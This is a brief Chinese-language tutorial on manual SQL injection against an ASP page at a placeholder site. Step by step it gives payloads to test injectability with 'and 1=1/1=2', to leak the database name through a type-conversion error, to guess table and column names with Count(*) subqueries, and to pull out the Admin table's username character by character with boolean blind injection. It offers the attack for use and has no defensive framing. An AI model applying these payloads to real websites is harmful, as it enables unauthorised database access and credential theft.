判断能否进行SQL注入 :
① http://www.mytest.com/showdetail.asp?id=49
② http://www.mytest.com/showdetail.asp?id=49 ;and 1=1
③ http://www.mytest.com/showdetail.asp?id=49 ;and 1=2
可以注入
① ② 正常,③ 报错
不可以注入
① 正常,② ③ 报错
数据库名称
http://www.mytest.com/showdetail.asp?id=49 ;and user>0
char和int比较报错为:
将char值 ”abc” 转换数据类型为 int 的列时发生语法错误。
这样就可以通过报错获得数据库名“abc”啦~
猜表名
ID=49 And (Select Count(*) from Admin)>=0
如果页面就与ID=49的相同,说明附加条件成立,即表Admin存在,反之,即不存在(请牢记这种方法)。如此循环,直至猜到表名为止。
表名Admin
猜字段
将Count(*)替换成Count(字段名),用同样的原理猜解字段名
字段名username
猜字段的值(Ascii逐字解码法)
1.测试长度
http://www.mytest.com/showdetail.asp?id=49 ;and (select top 1 len(username) from Admin)>0
其中top语句用来返回要规定记录的数目。
如果top 1的username长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一直到条件不成立为止,比如>7成立,>8不成立,就是len(username)=8
2 测试每个字符值
id=49 and (select top 1 unicode(substring(username,1,1)) from Admin)>0
同样也是用逐步缩小范围的方法得到第1位字符的ASCII码,注意的是英文和数字的ASCII码在1-128之间,可以用折半法加速猜解,如果写成程序测试,效率会有极大的提高。